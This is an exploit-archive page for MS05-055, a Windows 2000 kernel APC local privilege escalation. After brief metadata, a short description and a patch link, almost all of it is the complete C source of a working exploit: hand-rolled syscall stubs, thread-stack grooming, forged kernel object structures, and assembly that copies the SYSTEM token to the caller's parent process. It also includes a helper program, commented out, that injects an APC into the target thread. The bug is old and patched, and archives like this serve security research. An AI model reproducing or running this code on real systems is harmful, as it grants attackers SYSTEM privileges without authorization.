header-logo
Suggest Exploit
vendor:
Windows 2000
by:
SoBeIt
9.3
CVSS
HIGH
Local Privilege Escalation
264
CWE
Product Name: Windows 2000
Affected Version From: Windows 2000 PRO SP4
Affected Version To: Windows 2000 PRO SP4 Rollup 1
Patch Exists: YES
Related CWE: CVE-2005-2362
CPE: o:microsoft:windows_2000::sp4
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows 2000 PRO SP4 Chinese, Windows 2000 PRO SP4 Rollup 1 Chinese, Windows 2000 PRO SP4 English, Windows 2000 PRO SP4 Rollup 1 English
2005

MS05-055 Windows Kernel APC Data-Free Local Privilege Escalation Vulnerability Exploit

This exploit is a local privilege escalation vulnerability in the Windows kernel. It allows an attacker to gain elevated privileges on a system by exploiting a flaw in the way the kernel handles APC data. The exploit works by creating a malicious APC object and then using it to overwrite the security descriptor of an object in the kernel. This allows the attacker to gain access to the object and then use it to gain elevated privileges.

Mitigation:

Microsoft has released a patch for this vulnerability which can be found at the following link: https://technet.microsoft.com/en-us/library/security/ms05-055.aspx
Source

Exploit-DB raw data:

/* helper.c commented out below ms05-055.c /str0ke */

/*
	MS05-055 Windows Kernel APC Data-Free Local Privilege Escalation Vulnerability Exploit
			Created by SoBeIt
					12.25.2005

	Main file of exploit

	Tested on:

	Windows 2000 PRO SP4 Chinese
	Windows 2000 PRO SP4 Rollup 1 Chinese
	Windows 2000 PRO SP4 English
	Windows 2000 PRO SP4 Rollup 1 English

	Usage:ms05-055.exe helper.exe
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>


#define NTSTATUS	ULONG
#define ProcessBasicInformation	0

typedef VOID (NTAPI *PKNORMAL_ROUTINE)(PVOID ApcContext, PVOID Argument1, PVOID Argument2);

typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _PROCESS_BASIC_INFORMATION {
      NTSTATUS ExitStatus;
      PVOID PebBaseAddress;
      ULONG AffinityMask;
      ULONG BasePriority;
      ULONG UniqueProcessId;
      ULONG InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;

typedef struct _EPROCESS_QUOTA_BLOCK {
    ULONG QuotaLock;
    ULONG ReferenceCount;
    ULONG QuotaPeakPoolUsage[2];
    ULONG QuotaPoolUsage[2];
    ULONG QuotaPoolLimit[2];
    ULONG PeakPagefileUsage;
    ULONG PagefileUsage;
    ULONG PagefileLimit;
} EPROCESS_QUOTA_BLOCK, *PEPROCESS_QUOTA_BLOCK;

typedef struct _OBJECT_TYPE_INITIALIZER {
    USHORT Length;
    BOOLEAN UseDefaultObject;
    BOOLEAN Reserved;
    ULONG InvalidAttributes;
    UCHAR GenericMapping[0x10];
    ULONG ValidAccessMask;
    BOOLEAN SecurityRequired;
    BOOLEAN MaintainHandleCount;
    BOOLEAN MaintainTypeList;
    USHORT PoolType;
    ULONG DefaultPagedPoolCharge;
    ULONG DefaultNonPagedPoolCharge;
    PVOID DumpProcedure;
    PVOID OpenProcedure;
    PVOID CloseProcedure;
    PVOID DeleteProcedure;
    PVOID ParseProcedure;
    PVOID SecurityProcedure;
    PVOID QueryNameProcedure;
    PVOID OkayToCloseProcedure;
} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER;

typedef struct _OBJECT_TYPE {
    UCHAR Mutex[0x38];
    LIST_ENTRY TypeList;
    UNICODE_STRING Name;
    PVOID DefaultObject;
    ULONG Index;
    ULONG TotalNumberOfObjects;
    ULONG TotalNumberOfHandles;
    ULONG HighWaterNumberOfObjects;
    ULONG HighWaterNumberOfHandles;
    OBJECT_TYPE_INITIALIZER TypeInfo;
} OBJECT_TYPE, *POBJECT_TYPE;

typedef struct _OBJECT_HEADER {
    ULONG PointerCount;
    ULONG HandleCount;
    POBJECT_TYPE Type;
    UCHAR NameInfoOffset;
    UCHAR HandleInfoOffset;
    UCHAR QuotaInfoOffset;
    UCHAR Flags;
    PVOID QuotaBlockCharged;
    PVOID SecurityDescriptor;
} OBJECT_HEADER, *POBJECT_HEADER;

__declspec(naked)
NTSTATUS
NTAPI
ZwQueueApcThread(
	HANDLE hThread,
	PKNORMAL_ROUTINE ApcRoutine,
	PVOID ApcContext,
	PVOID Argument1,
	PVOID Argument2)
{
	__asm
	{
		mov eax, 0x9e
		lea edx, [esp+4]
		int 0x2e
		ret 0x14
	}
}

__declspec(naked)
NTSTATUS
ZwAlertThread(
	HANDLE hThread)
{
	__asm
	{
		mov eax, 0x0c
		lea edx, [esp+4]
		int 0x2e
		ret 0x4
	}
}

__declspec(naked)
NTSTATUS
NTAPI
ZwQueryInformationProcess(
	HANDLE ProcessHandle,
	ULONG InformationClass,
	PVOID ProcessInformation,
	ULONG ProcessInformationLength,
	PULONG ReturnLength)
{
	__asm
	{
		mov eax, 0x86
		lea edx, [esp+4]
		int 0x2e
		ret 0x14
	}
}

HANDLE	hTargetThread;
ULONG	ParentProcessId;

VOID NTAPI APCProc(PVOID pApcContext, PVOID Argument1, PVOID Argument2)
{
    printf("%s\n", pApcContext);

	return;
}

VOID ErrorQuit(char *msg)
{
	printf(msg);
	ExitProcess(0);
}

ULONG WINAPI TestThread(PVOID pParam)
{
	CONTEXT	Context;
	ULONG	i = 0;
	HANDLE	hThread, hEvent = (HANDLE)pParam;
	int	PoolIndex, PoolType;

	for(;;)
	{
		if((hThread = CreateThread(NULL, 0, TestThread, pParam, CREATE_SUSPENDED, NULL)) == NULL)
			ErrorQuit("Create thread failed.\n");

		Context.ContextFlags = CONTEXT_INTEGER;
		if(!GetThreadContext(GetCurrentThread(), &Context))
			ErrorQuit("Child thread get context failed.\n");

		printf("Child ESP:%x\n", Context.Esp);
		PoolType = (Context.Esp >> 16) & 0xff;
		PoolIndex = ((Context.Esp >> 8) & 0xff) - 1;
		printf("PoolIndex:%2x PoolType:%2x\n", PoolIndex, PoolType);
		if((PoolIndex & 0x80) && (PoolType & 0x8) && (PoolType & 0x3) && !(PoolType & 0x20) && !(PoolType & 0x40))
		{
			printf("Perfect ESP:%x\n", Context.Esp);
			break;
		}

		Sleep(500);
		ResumeThread(hThread);
		CloseHandle(hThread);
		SuspendThread(GetCurrentThread());
	}

	DuplicateHandle(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), &hTargetThread, 0, FALSE, DUPLICATE_SAME_ACCESS);
	SetEvent(hEvent);
	SuspendThread(hTargetThread);
	ZwQueueApcThread(hTargetThread, APCProc, NULL, NULL, NULL);
	printf("In child thread. Now terminating to trigger the bug.\n");
	ExitThread(0);

	return 1;
}

__declspec(naked) ExploitFunc()
{
	__asm
	{
//		int	0x3
		mov esi, 0xffdff124
		mov esi, dword ptr [esi]
		mov eax, dword ptr [esi+0x44]

		mov ecx, 0x8
		call FindProcess
		mov edx, eax

		mov ecx, ParentProcessId
		call FindProcess

		mov ecx, dword ptr [edx+0x12c]
		mov dword ptr [eax+0x12c], ecx
		xor ebx, ebx
		xor edi, edi
		mov dword ptr [ebp+0xf0], edi
		add esp, 0x74
		add ebp, 0x10c
		ret

FindProcess:
	    mov eax, dword ptr [eax+0xa0]
		sub eax, 0xa0
		cmp dword ptr [eax+0x9c], ecx
		jne FindProcess
		ret
	}
}

int main(int argc, char *argv[])
{
	HANDLE	hThread, hEvent, hProcess;
	PEPROCESS_QUOTA_BLOCK	pEprocessQuotaBlock;
	POBJECT_HEADER	pObjectHeader;
	POBJECT_TYPE	pObjectType;
	ULONG	i = 0, ProcessId;
	STARTUPINFO si;
    PROCESS_INFORMATION pi;
	PROCESS_BASIC_INFORMATION pbi;
	char Buf[64], *pParam;
	PULONG	pKernelData;

	printf("\n MS05-055 Windows Kernel APC Data-Free Local Privilege Escalation Vulnerability Exploit \n\n");
	printf("\t Create by SoBeIt. \n\n");
	if(argc != 2)
	{
		printf(" Usage:ms05-055.exe helper.exe. \n\n");
		return 1;
	}

    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));
	
	if((pKernelData = VirtualAlloc((PVOID)0x1000000, 0x1000, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL)
		ErrorQuit("Allocate pKernelData failed.\n");

	if((pEprocessQuotaBlock = VirtualAlloc(NULL, sizeof(EPROCESS_QUOTA_BLOCK), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)) == NULL)
		ErrorQuit("Allocate pEprocessQuotaBlock failed.\n");

	if((pObjectHeader = VirtualAlloc(NULL, sizeof(OBJECT_HEADER), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)) == NULL)
		ErrorQuit("Allocate pObjectHeader failed\n");

	if((pObjectType = VirtualAlloc(NULL, sizeof(OBJECT_TYPE), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)) == NULL)
		ErrorQuit("Allocate pObjectType failed.\n");

	ZeroMemory((PVOID)0x1000000, 0x1000);
	ZeroMemory(pEprocessQuotaBlock, sizeof(EPROCESS_QUOTA_BLOCK));
	ZeroMemory(pObjectHeader, sizeof(OBJECT_HEADER));
	ZeroMemory(pObjectType, sizeof(OBJECT_TYPE));

	pKernelData[0xee] = (ULONG)pEprocessQuotaBlock;		//0xae = (0x1b8+0x200) / 4
	pEprocessQuotaBlock->ReferenceCount = 0x221;
	pEprocessQuotaBlock->QuotaPeakPoolUsage[0] = 0x1f4e4;
	pEprocessQuotaBlock->QuotaPeakPoolUsage[1] = 0x78134;
	pEprocessQuotaBlock->QuotaPoolUsage[0] = 0x1e5e8;
	pEprocessQuotaBlock->QuotaPoolUsage[1] = 0x73f64;
	pEprocessQuotaBlock->QuotaPoolLimit[0] = 0x20000;
	pEprocessQuotaBlock->QuotaPoolLimit[1] = 0x80000;
	pEprocessQuotaBlock->PeakPagefileUsage = 0x5e9;
	pEprocessQuotaBlock->PagefileUsage = 0x5bb;
	pEprocessQuotaBlock->PagefileLimit = 0xffffffff;

	pObjectHeader = (POBJECT_HEADER)(0x1000200-0x18);
	pObjectHeader->PointerCount = 1;
	pObjectHeader->Type = pObjectType;

	pObjectType->TypeInfo.DeleteProcedure = ExploitFunc;

	hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
	DuplicateHandle(GetCurrentProcess(), GetCurrentProcess(), GetCurrentProcess(), 
			&hProcess, 0, FALSE, DUPLICATE_SAME_ACCESS);

	if((hThread = CreateThread(NULL, 0, TestThread, (PVOID)hEvent, CREATE_SUSPENDED, NULL)) == NULL)
		ErrorQuit("Create thread failed.\n");
	
	ResumeThread(hThread);
	WaitForSingleObject(hEvent, INFINITE);
	printf("The sleep has awaken.\n");
	ProcessId = GetCurrentProcessId();
	printf("Target thread handle:%x, Target process handle:%x, Process id:%x\n", hTargetThread, hProcess, ProcessId);
	pParam = Buf;
	strcpy(Buf, argv[1]);
	pParam += sizeof(argv[1]);
	pParam = strchr(Buf, '\0');
	*pParam++ = ' ';
	itoa((int)hTargetThread, pParam, 10);
	pParam = strchr(Buf, '\0');
	*pParam++ = ' ';
	itoa(ProcessId, pParam, 10);
	printf("%s\n", Buf);
	if(!CreateProcess(NULL, Buf, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi ))
		ErrorQuit("Create process failed,\n");

	CloseHandle(pi.hThread);
	CloseHandle(hEvent);
	printf("Now waitting for triggering the bug.\n");
	WaitForSingleObject(pi.hProcess, INFINITE);
	if(ZwQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL))
		ErrorQuit("Query parent process failed\n");

	ParentProcessId = pbi.InheritedFromUniqueProcessId;
	printf("Parent process id:%x\n", ParentProcessId);
	
	CloseHandle(pi.hProcess);
	ResumeThread(hTargetThread);
	WaitForSingleObject(hTargetThread, INFINITE);
	printf("Exploit finished.\n");

	return 1;
}


/*
	MS05-055 Windows Kernel APC Data-Free Local Privilege Escalation Vulnerability Exploit
			Created by SoBeIt
					12.25.2005

	Helper file of exploit

	Tested on:

	Windows 2000 PRO SP4 Chinese
	Windows 2000 PRO SP4 Rollup 1 Chinese
	Windows 2000 PRO SP4 English
	Windows 2000 PRO SP4 Rollup 1 English

	Usage:ms05-055.exe helper.exe


#include <stdio.h>
#include <windows.h>

#define NTSTATUS	ULONG

typedef VOID (NTAPI *PKNORMAL_ROUTINE)(PVOID ApcContext, PVOID Argument1, PVOID Argument2);

__declspec(naked)
NTSTATUS
NTAPI
ZwQueueApcThread(
	HANDLE hThread,
	PKNORMAL_ROUTINE ApcRoutine,
	PVOID ApcContext,
	PVOID Argument1,
	PVOID Argument2)
{
	__asm
	{
		mov eax, 0x9e
		lea edx, [esp+4]
		int 0x2e
		ret 0x14
	}
}

__declspec(naked)
NTSTATUS
ZwAlertThread(
	HANDLE hThread)
{
	__asm
	{
		mov eax, 0x0c
		lea edx, [esp+4]
		int 0x2e
		ret 0x4
	}
}

VOID NTAPI ApcProc(PVOID ApcContext, PVOID Argument1, PVOID Argument2)
{
}

int main(int argc, char *argv[])
{
	HANDLE	hTargetThread, hTargetProcess, hThread;
	int		ProcessId;
	PVOID	pApcProc;

	if(argc != 3)
	{
		printf(" Usage:ms05-055.exe helper.exe. \n");
		return 1;
	}

	hTargetThread = (HANDLE)atoi(argv[1]);
	ProcessId = atoi(argv[2]);
	printf("Got thread handle:%x, Got process id:%x\n", hTargetThread, ProcessId);
	hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);
	printf("Process handle:%x\n", hTargetProcess);
	if(!DuplicateHandle(hTargetProcess, hTargetThread, GetCurrentProcess(),  &hThread, 0, FALSE, DUPLICATE_SAME_ACCESS))
		printf("Duplicate handle failed.\n");

	if((pApcProc = VirtualAllocEx(hTargetProcess, 0, 1024*4, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL)
		printf("Allocate remote memory failed.\n");

	if(!WriteProcessMemory(hTargetProcess, pApcProc, &ApcProc, 1024*4, 0))
		printf("Write remote memory failed.\n");

	ZwAlertThread(hThread);
	ZwQueueApcThread(hThread, (PKNORMAL_ROUTINE)pApcProc, NULL, NULL, NULL);
	CloseHandle(hTargetProcess);
	CloseHandle(hThread);
	printf("Now terminating process.\n");
	ExitProcess(0);
}

*/

// milw0rm.com [2006-01-05]